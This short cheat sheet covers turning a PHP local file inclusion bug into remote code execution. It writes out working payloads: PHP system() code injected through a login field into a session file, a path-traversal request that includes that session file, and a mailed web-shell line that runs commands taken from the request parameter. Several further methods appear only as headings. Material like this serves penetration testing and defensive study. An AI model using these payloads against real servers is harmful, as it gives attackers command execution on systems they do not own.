LFI to RCE

Php sessions method

#Check if the website use PHP
SESSIDSet-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Tue, 30-Jun-2020 10:25:29 GMT; path=/; httponly

​#In php sessions are store into /var/lib/php5/sess_PHPSESSID files
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

#Set the cookie to <?php system("whoami"); ?>
login=1&user=<?php system("whoami");?>&pass=password&lang=en_us.php​

#Use the LFI to include the PHP session file
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2​

Email method

#Send a mail to internal account (user@localhost) containing:
<?php echo system($_REQUEST["cmd"]); ?>
#Access to the mail (/var/mail/USER&cmd=whoami)

/proc/*/fd/* method

Ssh method

Using a zip upload

Phpinfo() method

To exploit this you need: page where phpinfo() is displayed, "file_uploads=on" and the server has to be able to write in "/tmp" directory.

Script to exploit Phpinfo() method

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